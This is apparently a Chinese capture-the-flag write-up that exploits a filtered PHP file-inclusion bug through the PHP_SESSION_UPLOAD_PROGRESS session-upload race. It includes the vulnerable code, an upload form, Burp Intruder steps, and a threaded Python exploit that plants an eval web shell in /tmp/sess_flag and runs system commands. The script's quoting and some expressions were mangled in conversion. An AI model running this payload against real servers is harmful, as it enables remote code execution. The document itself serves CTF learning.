1. 代码审计

    1. <?php
    2. if(isset($_GET['file'])){
    3. $file = $_GET['file'];
    4. $file = str_replace("php", "???", $file);
    5. $file = str_replace("data", "???", $file);
    6. $file = str_replace(":", "???", $file);
    7. $file = str_replace(".", "???", $file);
    8. include($file);
    9. }else{
    10. highlight_file(__FILE__);
    11. }
  2. 这里将:.号过滤后,php伪协议不能用,后缀名文件也被过滤了,所以要利用session文件进行文件包含利用,这里要用到PHP_SESSION_UPLOAD_PROGRESS文件上传进度,进行文件包含利用,具体原理解释看后面的参考文章。

  3. 简单介绍一下PHP_SESSION_UPLOAD_PROGRESS,这个功能是在php5.4版本添加的,我们来看一下php.ini默认配置文件
    (1)enabled=on表示当浏览器向服务器POST发送一个文件名为[session.upload_progress.name]同名变量时会向session中将此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。
    (2)cleanup=on当文件上传完成后,会立即清空对应session文件中的内容
    (3)+(4)是session对应文件中的键名
    (7)session.use_strict_mode=off是指Cookie中sessionid可控,当我们自行设置PHPSESSID=flag时,PHP将会在服务器上创建一个文件:/tmp/sess_flag。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.uploadprogress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess文件里。
    1. session.upload_progress.enabled = on
    2. session.upload_progress.cleanup = on
    3. session.uploadprogress.prefix = “upload_progress
    4. session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
    5. session.upload_progress.freq = “1%”
    6. session.upload_progress.min_freq = “1”
    7. session.use_strict_mode=off
  1. 所以当我们构造PHP_SESSION_UPLOAD_PROGRESS上传完成后,默认情况下就会立即清空session内容,那如何利用文件包含呢,就要用到条件竞争了,不断上传,不断请求/tmp/sess_xxx文件
  2. 接下来我讲讲手动发包和脚本来做,首先制作一个upload上传表单

    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>session upload</title>
    </head>
    <body>
    <!--修改服务器URL地址-->
    <form action="" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file1" />
    <input type="submit" />
    </form>
    </body>
    </html>
    
  3. 抓包,添加Cookie:PHPSESSID=flag,此时PHP将会在服务器上创建一个文件:/tmp/sess_flag,并在PHP_SESSION_UPLOAD_PROGRESS下添加恶意命令,一定要添加文件上传,不然不会将文件详细内容写入到session文件中
    image-20210708111223802.png

  4. 构造访问file=/tmp/sess_flag包,利用intruder进行条件竞争,不断上传,不断访问
    image-20210708130359676.png
    image-20210708130437875.png
  5. 这时就可以看到fl0g.php,重新构造命令,条件竞争上传获取就可以了
    image-20210708130653870.png
    image-20210708130803011.png
  6. 接下来用脚本进行实现
    ```python

    -- coding: utf-8 --

    ‘’’ @Time : 2021/7/7 17:32 @Author : Seals6 @File : web82.py @contact: 972480239@qq.com @blog: seals6.github.io

-- 功能说明 --

-- 更新说明 --

‘’’ import io import requests import threading

sessid = ‘flag’ data = {“cmd”: “system(‘cat fl0g.php’);”}

自行修改

url = “”

def write(session): while True: f = io.BytesIO(b’a’ 1024 50) resp = session.post(url, data={‘PHP_SESSION_UPLOAD_PROGRESS’: ‘<?php eval($_POST[“cmd”]);?>’}, files={‘file’: (‘1.txt’, f)}, cookies={‘PHPSESSID’: sessid})

def read(session): while True: resp = session.post(url+’?file=/tmp/sess_’ + sessid,data=data) if ‘1.txt’ in resp.text: print(resp.text) event.clear() else: pass

if name == “main“: event = threading.Event() with requests.session() as session: for i in range(1, 30): threading.Thread(target=write, args=(session,)).start()

    for i in range(1, 30):
        threading.Thread(target=read, args=(session,)).start()
event.set()

``` image-20210708130945576.png
参考文章:
利用session.upload_progress进行文件包含和反序列化渗透
Session 上传进度
npfs-利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含